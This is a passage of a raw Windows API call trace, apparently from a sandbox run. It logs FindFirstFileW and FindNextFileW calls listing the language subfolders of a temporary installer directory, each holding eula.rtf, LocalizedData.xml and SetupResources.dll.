ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b208 [0131.115] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.115] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.115] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.115] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.116] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.116] FindClose (in: hFindFile=0x69b208 | out: hFindFile=0x69b208) returned 1 [0131.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.116] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0131.116] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ac08 [0131.117] FindNextFileW (in: hFindFile=0x69ac08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.118] FindNextFileW (in: hFindFile=0x69ac08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.118] FindNextFileW (in: hFindFile=0x69ac08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.118] FindNextFileW (in: hFindFile=0x69ac08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.118] FindNextFileW (in: hFindFile=0x69ac08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.120] FindClose (in: hFindFile=0x69ac08 | out: hFindFile=0x69ac08) returned 1 [0131.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.120] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0131.120] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ad88 [0131.120] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.120] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.120] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.121] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.121] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.121] FindClose (in: hFindFile=0x69ad88 | out: hFindFile=0x69ad88) returned 1 [0131.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.121] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0131.121] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69afc8 [0131.122] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.122] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.122] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.122] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.123] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.123] FindClose (in: hFindFile=0x69afc8 | out: hFindFile=0x69afc8) returned 1 [0131.123] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.123] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0131.124] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ae08 [0131.125] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.125] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.125] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.125] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.125] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.128] FindClose (in: hFindFile=0x69ae08 | out: hFindFile=0x69ae08) returned 1 [0131.128] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.128] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0131.128] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b208 [0131.129] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.129] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.129] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.130] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.130] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.130] FindClose (in: hFindFile=0x69b208 | out: hFindFile=0x69b208) returned 1 [0131.131] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.131] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0131.131] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b1c8 [0131.132] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.132] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.132] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, 